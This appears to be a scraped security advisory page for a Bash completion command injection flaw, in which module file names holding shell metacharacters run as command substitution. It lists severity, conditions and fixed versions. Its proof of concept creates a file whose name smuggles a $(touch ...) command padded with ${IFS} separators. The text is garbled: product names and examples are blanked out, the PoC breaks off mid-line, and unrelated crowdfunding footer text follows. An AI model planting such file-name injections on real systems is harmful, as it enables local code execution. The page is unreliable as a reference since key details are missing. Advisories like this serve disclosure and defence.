CVE-2025-85013: Bash Completion Command Injection via Malicious Module Names

Vulnerability Key Information Summary Vulnerability Overview Vulnerability Name: Command Injection in Bash Completion (via Malicious Module Names Containing Shell Metacharacters) CVE ID: CVE-2025-85013 Severity Level: High (CVSS v3 Score 7.3) Vulnerability Type: A local attacker can place a module file with a malicious name in a location visible within . This is triggered when the victim uses Bash completion ( or ). Shell metacharacters in the module name (such as , ) are executed as command substitution during the completion process, rather than being treated as plain text. Affected Scope Impact: Successful exploitation allows the user performing completion to execute arbitrary commands, affecting confidentiality, integrity, and availability. Exploitation conditions: A local attacker must be able to influence module names in , Bash completion must be in use, and the victim must actively trigger completion. Remediation Upgrade the package to the corresponding fixed version: 4.5.4 / 5.3.2 / 5.6.2. POC Code 1. Create a temporary directory: 2. Create a module file with a filename containing a Bash script: ```bash $ echo '#Module' > '/tmp/reprodc/$(touch${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS}${IFS

Goal Reached Thanks to every supporter — we hit 100%!

CVE-2025-85013: Bash Completion Command Injection via Malicious Module Names

More from this source